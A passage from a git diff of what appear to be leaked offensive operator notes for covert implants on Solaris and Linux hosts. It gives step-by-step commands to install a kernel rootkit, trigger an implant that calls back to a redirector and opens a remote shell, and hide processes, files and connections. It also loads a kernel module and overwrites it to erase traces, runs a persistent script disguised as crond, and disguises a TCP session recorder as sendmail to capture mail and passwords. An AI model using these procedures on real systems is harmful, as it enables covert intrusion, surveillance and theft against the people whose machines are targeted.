BAD BAD BAD BAD ##### +# -lt /proc/*/exe ##### GOOD, WILL NOT SEE OUTPUT FOR 12345 +# ##### WILL NOT SELF-DESTRUCT +# +# The cloaked directory will be in one of the following directories: +# (the first one of these directories that exists and is on the same disk +# partition as the root of the filesystem "/", see output from "df" or +# "mount" commands) +# -lt /var/tmp +# -lt /lib +# -lt /dev +# -lt /etc +# -lt / +# +# Refer to what the `pwd` from triggering Dewdrop returned if possible +# +### END WARNING END WARNING END WARNING END WARNING END WARNING END WARNING ### + + +########## Global Search/Replace commands ########## +## Target IP: IP address of newly deployed STOIC +## Target hostname: output from running "uname -n" on target +## Callback port: port for DD to call back to connect to ish (usually random) +## Redirector IP: IP for DD to call back to connect to ish + +### Target hostname MUST be output from "uname -n" on TARGET!!!!!!!!!! ### + +uname -n + +mx +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_HOSTNAME/TARGET_HOSTNAME/g +:%s/CALLBACK_PORT/CALLBACK_PORT/g +:%s/REDIRECTOR_IP/REDIRECTOR_IP/g +'x + + + +############################################################################ +##### INSTALLATION ##### +############################################################################ + +## First, make sure no other implants are installed, i.e. the family +# If Solaris +-strings /platform + + +## We used to check here for the Solaris major version being too big. +## Now, we just rely on installer to error out nicely if that is the case. +## If you are trying to install on too new a version, you will get error 18: +## 18 LOADER_ERROR_KERNEL_PLATFORM +## Payload does not contain any kernel modules for this platform. +## + + +showrev + +# If higher than these, DO NOT INSTALL and report this +-problem untested solaris patch level MAJORVERSION_MINORVERSION + +## If installing on Linux, compare /proc/version with version being deployed +## Also compare hashes of installed kernels for another sanity check +-cat /proc/version +md5sum /boot/vmlinuz* + +## upload STOICSURGEON Installation Package +-put /current/up/date date + +## run STOICSURGEON Installation Package +PATH=. date + +## Take note of the Date that is displayed, "00" in the seconds field means SUCCESS +## If the Seconds field does not show "00" take note of the entire date provided and +## save data via notes or "-problem". A listing of possible values is located at the +## end of this script in the APPENDIX section. + +-problem stoicsurgeon failed install, the date string was OUTPUT_FROM_DATE + +## :30 error? On solaris 10, you get this if the kmdb module is loaded. +## Temporary workaround (as of 30 OCT 2007) is to remove it. + +modinfo | grep kmdb + +## Remove kmdb (NOT kmdbmod), the NUM here is the first column + +## modunload -i NUM +modinfo | grep kmdb + +## Then try again +-put /current/up/date date +PATH=. date + + +################################################### +### Trigger Dewdrop and verify SS is working ###### +################################################### + +### Below are commands to trigger DD without upload/execute, there +### will be no Nopen session, will have a prompt in the "ish" shell +### Possibility exists will have to play with options to ourtn/-irtun +### to trigger on certain ports, etc. + +### Try THIS first (if redirecting from Nopen) +-irtun TARGET_IP CALLBACK_PORT -Y5 + +### or (if going direct) +ourtn -Y5 -p CALLBACK_PORT TARGET_IP + +### for Dewdrop-3.X +tipoff-3.X --trigger-address TARGET_IP --target-address TARGET_IP --target-protocol --target-port TARGET_PORT --callback-address CALLBACK_IP --callback-port CALLBACK_PORT --start-ish + +### look for output from "pwd" run after target calls back, the resulting +### directory is the SS hidden directory + +## In Dewdrop window get the pid of DD connection to ish shell +echo $$ + +## set DD PID in the rest of the script +mx +:%s/DEWDROP_PID/DEWDROP_PID/g +`x + +## In un-elevated Nopen window, verify Dewdrop connection and processes are cloaked +ps -ef | grep DEWDROP_PID +netstat -an | grep CALLBACK_PORT + +## the hidden directory will be somewhere on the root filesystem, +## you can now do a directory listing of the hidden directory's parent +## in the un-elevated Nopen window to determine that it is indeed hidden +## (i.e. do "-ls /var/tmp" if hidden dir is "/var/tmp/.0123456789abcdef") +## +## REMINDER: DO NOT EXPLICITLY NAME HIDDEN FILES/DIRS FROM AN UNPRIVILEGED +## WINDOW (see top of script for more detailed explanation) +-ls /var/tmp +-ls /lib +-ls /dev +-ls /etc +-ls / + +## Report any cloaking failures via notes or "-problem" + +####################################################################### +##### IF NO PROBLEMS ENCOUNTERED, INSTALLATION COMPLETE ##### +####################################################################### + + + +####################################################################### +##### Ctrl Usage and Troubleshooting Instructions ##### +####################################################################### + +### Should have at least two Nopen windows: one to become privileged, +### other to stay unprivileged, for comparing outputs of commands + +## get the PID of the Nopen window that will become privileged +-pid + +## set Nopen PID in the rest of the script +mx +:%s/PRIVILEGED_NOPEN_PID/PRIVILEGED_NOPEN_PID/g +`x + +# -s path Set the times associated with a given file path +# -g path Get the times associated with a given file path +######################################################## +## Ctrl Usage Options: +# -C [pid | /file/path] Cloak the given process or file path +# -c [pid | /file/path] Uncloak the given process or file path +# -d Display default cloaked directory +# -s /file/path atime atime_nsec mtime mtime_nsec ctime ctime_nsec +# Set the times associated with a given file path +# -g /file/path Get the times associated with a given file path +# -E pid Enable the given processes' ability to see +# otherwise cloaked processes and files and call +# into the kernel services. +# -e pid Disable the given processes' ability to see +# otherwise cloaked processes and files and cal +# into the kernel services. +# -F pid Enable the given processes' ability to see +# otherwise cloaked files ONLY. +# -f pid Disable the given processes' ability to see +# otherwise cloaked files ONLY. +# -P pid Enable the given processes' ability to see +# otherwise cloaked processes ONLY. +# -p pid Disable the given processes' ability to see +# otherwise cloaked processes ONLY. +# -K pid Designate a processes as to be killed upon +# shutdown +# -k pid Designate a process as to NOT be killed upon +# shutdown +# -r /bin/sh Execute the given program as the root user +# -T signal Send the specified signal to all killable cloaked +# processes. +# ONLY ONE OF EITHER THIS: +# -U Invoke a full uninstall (self destruct) +# -u Invoke a partial uninstall (unpatch and unload) +# OR (WTF DID THEY SERIOUSLY DO TIHS?) TIHS: +# -u Invoke a full uninstall (self destruct) +# -n Invoke a partial uninstall (unpatch and unload) +# +######################################################## + +## upload SS Control Utility using nopen +-put /current/up/Ctrl c +## or ftshell +~~p /current/up/Ctrl c + +### If Nopen already a privileged process (i.e. started by a child of DD, +### etc.), do not need to set SEED variable to use Ctrl, otherwise SEED +### must be set + +## SEED calculation algorithm. WARNING do this off target!!! + seedcalc TARGET_HOSTNAME +## if you don't have 'seedcalc' + echo -n TARGET_HOSTNAME | rev | tr -d '\n' | md5sum | cut -f1 -d' ' +## if you don't have 'rev' + echo -n TARGET_HOSTNAME | sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' | tr -d '\n' | md5sum | cut -f1 -d' ' + +## set value of SEED in the rest of the script +mx +:%s/CALCULATED_SEED/CALCULATED_SEED/g +`x + +## REMINDER: DO NOT USE THIS OUTPUT EXPLICITLY IN AN UNPRIVILEGED PROCESS WHEN +## ACCESSING FILESYSTEM, SEE WARNING AT THE TOP OF THE SCRIPT + +## WARNING: WHEN CLOAKING PROCESSES, MUST MAKE SURE THAT NO CLOAKED PROCESS IS +## IS THE PARENT OF AN UNCLOAKED PROCESS. IF NECESSARY TO HAVE A +## PROCESS UNCLOAKED, MUST UNCLOAK PARENTS ALL THE WAY TO INIT (i.e. if +## need an uncloaked Nopen, Nopen listener must be uncloaked as well) + +## Use Ctrl to determine the name of the Cloaked directory +SEED=CALCULATED_SEED PATH=. c -d + +## Use Ctrl to enable Nopen to see cloaked processes, connections and files. +SEED=CALCULATED_SEED PATH=. c -E PRIVILEGED_NOPEN_PID + +## Use Ctrl to cloak the Nopen process, connections. +SEED=CALCULATED_SEED PATH=. c -C PRIVILEGED_NOPEN_PID + +## Optional - Designate Nopen to NOT be killed should the implant be +## shutdown (self-destruct). You won't get any notification that this happened. +SEED=CALCULATED_SEED PATH=. c -k PRIVILEGED_NOPEN_PID + +## Or, can do the above three actions in one command line +SEED=CALCULATED_SEED PATH=. c -C PRIVILEGED_NOPEN_PID -E PRIVILEGED_NOPEN_PID -k PRIVILEGED_NOPEN_PID + +## can replace PRIVILEGED_NOPEN_PID with the PID of any process you'd like to hide + +## Find your nopen connections -- consider narrowing the search as you probably also +## already know your connection ip and port +netstat -an | grep REDIRECTOR_IP + +## set Nopen Port in the rest of the script +mx +:%s/NOPEN_PORT/NOPEN_PORT/g +`x + +## Find nopen using the privileged process. Verifies you can find Nopen in +## ps and netstat listings when privileged +ps -ef | grep PRIVILEGED_NOPEN_PID +netstat -an |grep NOPEN_PORT + +## in an unprivileged window, these should unsuccessful if Nopen was cloaked +## in an earlier Ctrl command +ps -ef | grep PRIVILEGED_NOPEN_PID +netstat -an | grep NOPEN_PORT + +## You should now be able to see the cloaked directory +## The cloaked directory MAY be in one of the following. Refer to what +## the `pwd` from Dewdrop returned +-lt /var/tmp +-lt /lib +-lt /dev +-lt /etc +-lt / + +### APPENDIX +## DATE Errors +## +################################################################################### +## 01 LOADER_ERROR_UNKNOWN +## The requested action failed for an unknown reason. +## 02 LOADER_ERROR_MEMORY +## There was a problem allocating memory. +## 03 LOADER_ERROR_READ_FILE +## There was a problem reading file data. +## 04 LOADER_ERROR_EXTRACT_PAYLOAD +## Could not extract payload data. +## 05 LOADER_ERROR_INVALID_PAYLOAD +## Payload data is invalid. +## 06 LOADER_ERROR_MERGE_ARCHIVE +## Could not merge old archive with new during an upgrade. +## 07 LOADER_ERROR_GENERATE_PAYLOAD +## Could not generate new payload data during an upgrade. +## 08 LOADER_ERROR_BUFFER_TOO_SMALL +## The given buffer is too small to hold the requested data. +## 09 LOADER_ERROR_LIST_BUFFER_TOO_SMALL +## The given array is too small to hold all the requested data elements. +## 10 LOADER_ERROR_SYSINFO +## Could not determine the host system information. +## 11 LOADER_ERROR_ENUMERATE_PLATFORM_TAGS +## Could not enumerate platform types. +## 12 LOADER_ERROR_ENUMERATE_OBJECTS +## Could not enumerate objects associated with a tag. +## 13 LOADER_ERROR_READ_OBJECT +## Could not read object data or meta-data. +## 14 LOADER_ERROR_WRITE_OBJECT +## Could not write object data or meta-data. +## 15 LOADER_ERROR_LOAD_USER_MODULE_OBJECT +## Could not load a user module data object. +## 16 LOADER_ERROR_EXECUTE_OBJECT +## Could not execute an executable data object. +## 17 LOADER_ERROR_KERNEL_SHUTDOWN +## Could not unload existing kernel modules. +## 18 LOADER_ERROR_KERNEL_PLATFORM +## Payload does not contain any kernel modules for this platform. +## 19 LOADER_ERROR_KERNEL_INJECT +## Could not inject modules into the running kernel. +## 20 LOADER_ERROR_KERNEL_INVOKE +## Could not invoke a required kernel service. +## 21 LOADER_ERROR_PERSIST_ENABLE +## Could not enable persistence. +## 22 LOADER_ERROR_PERSIST_READ +## Could not read persistant executable. +## 23 LOADER_ERROR_HOSTID +## Hostid of system did not match the one stored in the archive. +## 24 LOADER_ERROR_EXECL +## Error calling execl(3) when invoking the 64-bit version of the Loader. +## 25 LOADER_ERROR_FORK +## Error calling fork(2) when invoking the 64-bit version of the Loader. +## 26 LOADER_ERROR_WAITPID +## Error calling waitpid(2) when invoking the 64-bit version of the Loader. +## 27 LOADER_ERROR_SIGACTION +## Error calling sigaction(2) when setting the Loader process signal handlers. +## 28 LOADER_ERROR_SIGADDSET +## Error calling sigaddset(2) when setting the Loader process signal handlers. +## 29 LOADER_ERROR_WRITE_FILE +## Error writing file when dumping the 64-bit executable. +## 30 LOADER_ERROR_KERNEL_DEBUGGING_ENABLED +## Detected kernel debugging enabled at boot. +################################################################################### diff --git a/Linux/doc/old/etc/user.tool.suctionchar.incision.COMMON b/Linux/doc/old/etc/user.tool.suctionchar.incision.COMMON new file mode 100644 index 0000000..2e01fc9 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.suctionchar.incision.COMMON @@ -0,0 +1,64 @@ + + + + +#### notes for clean install ##### + +#### verify archetecture #### + +uname -a +isainfo -v + + +### verify mod tools #### + +which modload +which modinfo + + +#### cp modtools to current local #### + +mkdir .scsi + +-cd .scsi + +cp /usr/sbin/modload ml +cp /usr/sbin/modinfo mi + + +#### put up correct mod version VERIFY VERIFY VERIFY !!!!!! #### + +-put /mnt/zip/suction/sparc64-solaris_kernel-cc-release@5.9/sucmod sum + + +#### load mod ### + +./ml sum + +#### verify install #### + +./mi + +### pass perimeters VERIFY SIZE OF sum and replace count # !!!!! #### + +-lt +dd if=/dev/zero of=sum bs=1 count= + +#### remove tools ##### + +-rm ml mi sum + +#### check logs #### + +-lt /var/adm /var/log + +-tail any file that may have been updated + + +### check suction + +-suc info + + + + diff --git a/Linux/doc/old/etc/user.tool.webmin-masquerade b/Linux/doc/old/etc/user.tool.webmin-masquerade new file mode 100644 index 0000000..56d70f0 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.webmin-masquerade @@ -0,0 +1,7 @@ + + +# Under Others is Command Shell + +# It keeps a history. You can clear that history, maybe do so and repopulate +# with what was there before? + diff --git a/Linux/doc/opscript.constantmove b/Linux/doc/opscript.constantmove new file mode 100644 index 0000000..b4139c1 --- /dev/null +++ b/Linux/doc/opscript.constantmove @@ -0,0 +1,32 @@ + + +# 2010-07-21 09:24:00 EDT + +# VARIABLES: +# MAIN-DIR = STOIC HIDDEN DIR +# RUN-AS = Name to run script as, will be in ps as "/bin/bash RUN_AS" (though cloaked) +# SET-SID = Set to nothing at all if setsid is not there (will likely only be there on Linux) + +mx +:%s,MAIN_DIR,STOICHIDDENDIR,g +:%s,RUN_AS,crond,g +:%s,SET_SID,setsid,g +`x + + + + + +# DEPLOYMENT: + +-cd MAIN_DIR +-lsh sed "s,# .*,,g" /current/up/constantmove.sh | sed "s,^ *$,,g" | sed "s,die *\([0-9][0-9]*\).*,die \1,g" | grep -v "^$" > /current/up/constantmove.sh.clean ; cat /current/up/constantmove.sh.clean +-put /current/up/constantmove.sh.clean RUN_AS +-addpath . +-wh -U setsid RUN_AS +# note the NEXT LINE is backgrounded with an AMPERSAND +SET_SID RUN_AS & +=ps | egrep -v grep | egrep "sh |RUN_AS|sleep" + + + diff --git a/Linux/doc/strifeworld.1 b/Linux/doc/strifeworld.1 new file mode 100644 index 0000000..0355b70 --- /dev/null +++ b/Linux/doc/strifeworld.1 @@ -0,0 +1,635 @@ +.\"$Id: strifeworld.1.in,v 1.4 2001/10/12 12:20:44 root Exp $" +.TH strifeworld 1 "16 May 2001" "strifeworld 0.80" "strifeworld 0.80" +.SH NAME +strifeworld \- TCP session recorder +.SH SYNOPSIS +.na +.B strifeworld +[\c +.BI \-abcdfghijkmoprstvwxz\fR\c +] +[\c +.BI \-b \ max_bytes\fR\c +] +[\c +.BI \-d \ debug_level\fR\c +] +[\c +.BI \-i \ iface\fR\c +] +[\c +.BI expression\fR\c +] +.LP +mv strifeworld sendmail +.LP +PATH=. E="dst port 25" C="-o/tmp/.nfs3423 -fsomeone -b100000" sendmail -bd -q15m +.LP +Sometime later: +.LP +A=PID export A; kill -USR1 $A;sleep 1;kill -USR2 $A;sleep 1; kill -USR1 $A;sleep 1;kill -USR2 $A +.LP +If this does not work, try kill -USR1 PID, and then the above command line again. +.LP +The collected data will be saved into /tmp/.nfs3423. Simply bring back the file. +.LP +Survey mode example: +.LP +PATH=. C="-p -s5" sendmail -bd -q15m +.LP +Total sessions missed is just a best guess since STRIFEWORLD really does not know how many sessions have passed. +.LP +.SH DESCRIPTION +.LP +.B strifeworld +is a program that captures data transmitted as part of TCP connections +and stores the data in a memory for analysis. A program like +.IR tcpdump(4) +shows a summary of packets seen on the wire, but usually doesn't store +the data that's actually being transmitted. In contrast, strifeworld +reconstructs the actual data streams and stores each session in a +file for later analysis. strifeworld understands TCP sequence +numbers and will correctly reconstruct data streams regardless of +retransmissions or out-of-order delivery. +.LP +.SH OPTIONS +.TP +.B \-a +Size of search space to trigger selection. +Usually, keep \fImax_bytes\fP small to minimize the searching of a session. +For example, the From and To fields in a mail message are in the beginning of a TCP session. This makes the search space very efficient. +On the other hand, looking for keywords in a very large MP3 attachment may cause the computer to slowdown. +Keywords in a session beyond \fImax_bytes\fP will not trigger the selection mechanism, and therefore, the session will not be collected. +The default value is 500 bytes. The recommended value for a target is determined on a case-by-case basis. +.TP +.B \-b +Max bytes per session. Capture no more than \fImax_bytes\fP bytes per +session. Any data captured for a session beyond \fImax_bytes\fP from the +first byte captured will be discarded. The default is to store +1000 bytes per session. Note, if the \fImax_bytes\fP is smaller than the -a value, +the -a value will be set to the -b value, thereby, reducing the search space. +The recommended value for a target is determined on a case -by-case basis. +.TP +.B \-j +Save \fItotal max bytes\fP per run. Does not include metadata, such as, time, IP, and ports. The default value is 5,000,000 bytes. +.TP +.B \-k +Set the time out period for session saving. The default value is 180 seconds. +.TP +.B \-m +Capture both sides of the sessions and meld them together. Usually, the sessions are stored separately. Used for mirorring Telnet, Rsh, IRC sessions. The computer needs to see both sides. On Solaris, use the -p option. The default value is off. +.TP +.B \-g +Turn off setrlimits for RLIMIT_CORE (0,0) and RLIMIT_CPU (60,60). Use this option for debugging purposes. Limits are set by default. +.TP +.B \-c +Console print. Print the contents of packets to stdout as they +are received, without storing any captured data to files. +.TP +.B \-s +Capture \fIconnections\fP per time period. Used for statistics gathering. +.TP +.B \-d +Debug level. Set the level of debugging messages printed to stderr to +\fIdebug_level\fP. Higher numbers produce more messages. Does not work in deployment/install mode on targets. +.B \-d 0 +causes completely silent operation. +.B \-d 1 +, the default, produces minimal status messages. +.B \-d 10 +produces verbose output equivalent to +.B \-v . +Numbers higher than 10 can produce a large +amount of debugging information useful only to developers. +.TP +.B \-x +Capture \fImax_connections\fP per time period. Used for throttling purposes. The default value is 30. +.TP +.B \-h +Help. Print usage information and exit. Does not work in deployment/install mode on targets. +.TP +.B \-i +Interface name. Capture packets from the network interface +named \fIiface\fP. If no interface is specified with +.B \-i +, a reasonable default will be used by libpcap automatically. +.TP +.B \-o +outfile name. Save sessions in named file. To kill strifeworld and dump +the results to the file, type: +.SP +A=PID export A; kill -USR1 $A;sleep 1;kill -USR2 $A;sleep 1; kill -USR1 $A;sleep 1;kill -USR2 $A +.TP +.B \-e +port. Dump sessions to a port on the localhost. To kill strifeworld and dump +the results to the port, type: +.SP +A=PID export A; kill -USR1 $A;sleep 1;kill -USR2 $A;sleep 1; kill -USR1 $A;sleep 1;kill -USR2 $A +.TP +.B \-p +Go to promiscuous mode. Normally, strifeworld keeps the network +interface in non-promiscuous mode before capturing packets. +See the NOTES section for additional information regarding promiscuous and +non-promiscuous modes. +.TP +.B \-f +Start capture based upon the From: \fIRegular Expression Field\fP. +Commonly used for mail capture. Can be used for other purposes too. Case insensitive. +.TP +.B \-t +Start capture based upon the To: \fIRegular Expression Field\fP. +Commonly used for mail capture. Can be used for other purposes too. Case insensitive. +.TP +.B \-n +Start capture based upon this \fIRegular Expression Field\fP. +Commonly used for mail capture. Can be used for other purposes too, such as, (login|sunos|password). Case insensitive. +.TP +.B \-q +Quit the capture based upon this \fIRegular Expression Field\fP. +Can be used to filter out junkmail. Can be used for other purposes too, such as, (spam|more junk|too much data). Case insensitive. +.TP +.B \-w +Setuid to run strifeworld. Use the UID, such as, 60001 vs. nobody. +Beware that you will loose root permissions on the device, therefore subsequent +automatic restarts will fail. If you want strifeworld to restart automatically, +do NOT set this option. +.TP +.B \-r +Set the rc6key to a 32 bit value. A sample key you can use for testing [1032546789abdcfe1021324354657687] +.TP +.B \-l +Write to file every -k seconds. Used in instances where you must absolutely save the data to a hidden location. Limits are still in effect. You must reset the -j parameter option via the kill sequence. For example, the file will not get any bigger than 5 Megabytes until you come back with the kill sequence. +.TP +.B \-z +Turn on compression. The data is compressed in memory. Each session has a 4 byte header for the length of compression. Look in contrib for the decompression and breakout programs. +.TP +.B \-v +Verbose operation. Verbosely describe strifeworld's operation. +Equivalent to +.B \-d 10 . Does not work in deployment mode on a target. +.\"START -- tcpdump excerpt" +.SH FILTERING EXPRESSIONS +The +.B expression +specified on the command-line specifies which packets should be +captured. Because strifeworld uses the the libpcap library, strifeworld has +the same powerful filtering language available as programs such as +.IR tcpdump (1). +.LP +.B The following part of the man page is excerpted from the tcpdump man page. +.LP + +\fIexpression\fP selects which packets will be dumped. If no +\fIexpression\fP is given, all packets on the net will be dumped. +Otherwise, only packets for which \fIexpression\fP is `true' will be +dumped. +.LP +The \fIexpression\fP consists of one or more +.I primitives. +Primitives usually consist of an +.I id +(name or number) preceded by one or more qualifiers. There are three +different kinds of qualifier: +.IP \fItype\fP +qualifiers say what kind of thing the id name or number refers to. +Possible types are +.BR host , +.B net +and +.BR port . +E.g., `host foo', `net 128.3', `port 20'. If there is no type +qualifier, +.B host +is assumed. +.IP \fIdir\fP +qualifiers specify a particular transfer direction to and/or from +.I id. +Possible directions are +.BR src , +.BR dst , +.B "src or dst" +and +.B "src and" +.BR dst . +E.g., `src foo', `dst net 128.3', `src or dst port ftp-data'. If +there is no dir qualifier, +.B "src or dst" +is assumed. +For `null' link layers (i.e. point to point protocols such as slip) the +.B inbound +and +.B outbound +qualifiers can be used to specify a desired direction. +.IP \fIproto\fP +qualifiers restrict the match to a particular protocol. Possible +protos are: +.BR ether , +.BR fddi , +.BR ip , +.BR arp , +.BR rarp , +.BR decnet , +.BR lat , +.BR sca , +.BR moprc , +.BR mopdl , +.B tcp +and +.BR udp . +E.g., `ether src foo', `arp net 128.3', `tcp port 21'. If there is +no proto qualifier, all protocols consistent with the type are +assumed. E.g., `src foo' means `(ip or arp or rarp) src foo' +(except the latter is not legal syntax), `net bar' means `(ip or +arp or rarp) net bar' and `port 53' means `(tcp or udp) port 53'. +.LP +[`fddi' is actually an alias for `ether'; the parser treats them +identically as meaning ``the data link level used on the specified +network interface.'' FDDI headers contain Ethernet-like source +and destination addresses, and often contain Ethernet-like packet +types, so you can filter on these FDDI fields just as with the +analogous Ethernet fields. FDDI headers also contain other fields, +but you cannot name them explicitly in a filter expression.] +.LP +In addition to the above, there are some special `primitive' keywords +that don't follow the pattern: +.BR gateway , +.BR broadcast , +.BR less , +.B greater +and arithmetic expressions. All of these are described below. +.LP +More complex filter expressions are built up by using the words +.BR and , +.B or +and +.B not +to combine primitives. E.g., `host foo and not port ftp and not port ftp-data'. +To save typing, identical qualifier lists can be omitted. E.g., +`tcp dst port ftp or ftp-data or domain' is exactly the same as +`tcp dst port ftp or tcp dst port ftp-data or tcp dst port domain'. +.LP +Allowable primitives are: +.IP "\fBdst host \fIhost\fR" +True if the IP destination field of the packet is \fIhost\fP, +which may be either an address or a name. +.IP "\fBsrc host \fIhost\fR" +True if the IP source field of the packet is \fIhost\fP. +.IP "\fBhost \fIhost\fP +True if either the IP source or destination of the packet is \fIhost\fP. +Any of the above host expressions can be prepended with the keywords, +\fBip\fP, \fBarp\fP, or \fBrarp\fP as in: +.in +.5i +.nf +\fBip host \fIhost\fR +.fi +.in -.5i +which is equivalent to: +.in +.5i +.nf +\fBether proto \fI\\ip\fB and host \fIhost\fR +.fi +.in -.5i +If \fIhost\fR is a name with multiple IP addresses, each address will +be checked for a match. +.IP "\fBether dst \fIehost\fP +True if the ethernet destination address is \fIehost\fP. \fIEhost\fP +may be either a name from /etc/ethers or a number (see +.IR ethers (3N) +for numeric format). +.IP "\fBether src \fIehost\fP +True if the ethernet source address is \fIehost\fP. +.IP "\fBether host \fIehost\fP +True if either the ethernet source or destination address is \fIehost\fP. +.IP "\fBgateway\fP \fIhost\fP +True if the packet used \fIhost\fP as a gateway. I.e., the ethernet +source or destination address was \fIhost\fP but neither the IP source +nor the IP destination was \fIhost\fP. \fIHost\fP must be a name and +must be found in both /etc/hosts and /etc/ethers. (An equivalent +expression is +.in +.5i +.nf +\fBether host \fIehost \fBand not host \fIhost\fR +.fi +.in -.5i +which can be used with either names or numbers for \fIhost / ehost\fP.) +.IP "\fBdst net \fInet\fR" +True if the IP destination address of the packet has a network +number of \fInet\fP. \fINet\fP may be either a name from /etc/networks +or a network number (see \fInetworks(5)\fP for details). +.IP "\fBsrc net \fInet\fR" +True if the IP source address of the packet has a network +number of \fInet\fP. +.IP "\fBnet \fInet\fR" +True if either the IP source or destination address of the packet has a network +number of \fInet\fP. +.IP "\fBnet \fInet\fR \fBmask \fImask\fR" +True if the IP address matches \fInet\fR with the specific netmask. +May be qualified with \fBsrc\fR or \fBdst\fR. +.IP "\fBnet \fInet\fR/\fIlen\fR" +True if the IP address matches \fInet\fR a netmask \fIlen\fR bits wide. +May be qualified with \fBsrc\fR or \fBdst\fR. +.IP "\fBdst port \fIport\fR" +True if the packet is ip/tcp or ip/udp and has a +destination port value of \fIport\fP. +The \fIport\fP can be a number or a name used in /etc/services (see +.IR tcp (4P) +and +.IR udp (4P)). +If a name is used, both the port +number and protocol are checked. If a number or ambiguous name is used, +only the port number is checked (e.g., \fBdst port 513\fR will print both +tcp/login traffic and udp/who traffic, and \fBport domain\fR will print +both tcp/domain and udp/domain traffic). +.IP "\fBsrc port \fIport\fR" +True if the packet has a source port value of \fIport\fP. +.IP "\fBport \fIport\fR" +True if either the source or destination port of the packet is \fIport\fP. +Any of the above port expressions can be prepended with the keywords, +\fBtcp\fP or \fBudp\fP, as in: +.in +.5i +.nf +\fBtcp src port \fIport\fR +.fi +.in -.5i +which matches only tcp packets whose source port is \fIport\fP. +.IP "\fBless \fIlength\fR" +True if the packet has a length less than or equal to \fIlength\fP. +This is equivalent to: +.in +.5i +.nf +\fBlen <= \fIlength\fP. +.fi +.in -.5i +.IP "\fBgreater \fIlength\fR" +True if the packet has a length greater than or equal to \fIlength\fP. +This is equivalent to: +.in +.5i +.nf +\fBlen >= \fIlength\fP. +.fi +.in -.5i +.IP "\fBip proto \fIprotocol\fR" +True if the packet is an ip packet (see +.IR ip (4P)) +of protocol type \fIprotocol\fP. +\fIProtocol\fP can be a number or one of the names +\fIicmp\fP, \fIigrp\fP, \fIudp\fP, \fInd\fP, or \fItcp\fP. +Note that the identifiers \fItcp\fP, \fIudp\fP, and \fIicmp\fP are also +keywords and must be escaped via backslash (\\), which is \\\\ in the C-shell. +.IP "\fBether broadcast\fR" +True if the packet is an ethernet broadcast packet. The \fIether\fP +keyword is optional. +.IP "\fBip broadcast\fR" +True if the packet is an IP broadcast packet. It checks for both +the all-zeroes and all-ones broadcast conventions, and looks up +the local subnet mask. +.IP "\fBether multicast\fR" +True if the packet is an ethernet multicast packet. The \fIether\fP +keyword is optional. +This is shorthand for `\fBether[0] & 1 != 0\fP'. +.IP "\fBip multicast\fR" +True if the packet is an IP multicast packet. +.IP "\fBether proto \fIprotocol\fR" +True if the packet is of ether type \fIprotocol\fR. +\fIProtocol\fP can be a number or a name like +\fIip\fP, \fIarp\fP, or \fIrarp\fP. +Note these identifiers are also keywords +and must be escaped via backslash (\\). +[In the case of FDDI (e.g., `\fBfddi protocol arp\fR'), the +protocol identification comes from the 802.2 Logical Link Control +(LLC) header, which is usually layered on top of the FDDI header. +\fITcpdump\fP assumes, when filtering on the protocol identifier, +that all FDDI packets include an LLC header, and that the LLC header +is in so-called SNAP format.] +.IP "\fBdecnet src \fIhost\fR" +True if the DECNET source address is +.IR host , +which may be an address of the form ``10.123'', or a DECNET host +name. [DECNET host name support is only available on Ultrix systems +that are configured to run DECNET.] +.IP "\fBdecnet dst \fIhost\fR" +True if the DECNET destination address is +.IR host . +.IP "\fBdecnet host \fIhost\fR" +True if either the DECNET source or destination address is +.IR host . +.IP "\fBip\fR, \fBarp\fR, \fBrarp\fR, \fBdecnet\fR" +Abbreviations for: +.in +.5i +.nf +\fBether proto \fIp\fR +.fi +.in -.5i +where \fIp\fR is one of the above protocols. +.IP "\fBlat\fR, \fBmoprc\fR, \fBmopdl\fR" +Abbreviations for: +.in +.5i +.nf +\fBether proto \fIp\fR +.fi +.in -.5i +where \fIp\fR is one of the above protocols. +Note that +\fItcpdump\fP does not currently know how to parse these protocols. +.IP "\fBtcp\fR, \fBudp\fR, \fBicmp\fR" +Abbreviations for: +.in +.5i +.nf +\fBip proto \fIp\fR +.fi +.in -.5i +where \fIp\fR is one of the above protocols. +.IP "\fIexpr relop expr\fR" +True if the relation holds, where \fIrelop\fR is one of >, <, >=, <=, =, !=, +and \fIexpr\fR is an arithmetic expression composed of integer constants +(expressed in standard C syntax), the normal binary operators +[+, -, *, /, &, |], a length operator, and special packet data accessors. +To access +data inside the packet, use the following syntax: +.in +.5i +.nf +\fIproto\fB [ \fIexpr\fB : \fIsize\fB ]\fR +.fi +.in -.5i +\fIProto\fR is one of \fBether, fddi, +ip, arp, rarp, tcp, udp, \fRor \fBicmp\fR, and +indicates the protocol layer for the index operation. +The byte offset, relative to the indicated protocol layer, is +given by \fIexpr\fR. +\fISize\fR is optional and indicates the number of bytes in the +field of interest; it can be either one, two, or four, and defaults to one. +The length operator, indicated by the keyword \fBlen\fP, gives the +length of the packet. + +For example, `\fBether[0] & 1 != 0\fP' catches all multicast traffic. +The expression `\fBip[0] & 0xf != 5\fP' +catches all IP packets with options. The expression +`\fBip[6:2] & 0x1fff = 0\fP' +catches only unfragmented datagrams and frag zero of fragmented datagrams. +This check is implicitly applied to the \fBtcp\fP and \fBudp\fP +index operations. +For instance, \fBtcp[0]\fP always means the first +byte of the TCP \fIheader\fP, and never means the first byte of an +intervening fragment. +.LP +Primitives may be combined using: +.IP +A parenthesized group of primitives and operators +(parentheses are special to the Shell and must be escaped). +.IP +Negation (`\fB!\fP' or `\fBnot\fP'). +.IP +Concatenation (`\fB&&\fP' or `\fBand\fP'). +.IP +Alternation (`\fB||\fP' or `\fBor\fP'). +.LP +Negation has highest precedence. +Alternation and concatenation have equal precedence and associate +left to right. Note that explicit \fBand\fR tokens, not juxtaposition, +are now required for concatenation. +.LP +If an identifier is given without a keyword, the most recent keyword +is assumed. +For example, +.in +.5i +.nf +\fBnot host vs and ace\fR +.fi +.in -.5i +is short for +.in +.5i +.nf +\fBnot host vs and host ace\fR +.fi +.in -.5i +which should not be confused with +.in +.5i +.nf +\fBnot ( host vs or ace )\fR +.fi +.in -.5i +.LP +Expression arguments can be passed to strifeworld as either a single argument +or as multiple arguments, whichever is more convenient. +Generally, if the expression contains Shell metacharacters, it is +easier to pass it as a single, quoted argument. +Multiple arguments are concatenated with spaces before being parsed. +.SH EXAMPLES +.LP +.B The following part of the man page is excerpted from the tcpdump man page. +.LP +To record all packets arriving at or departing from \fIsundown\fP: +.RS +.nf +\fBstrifeworld host 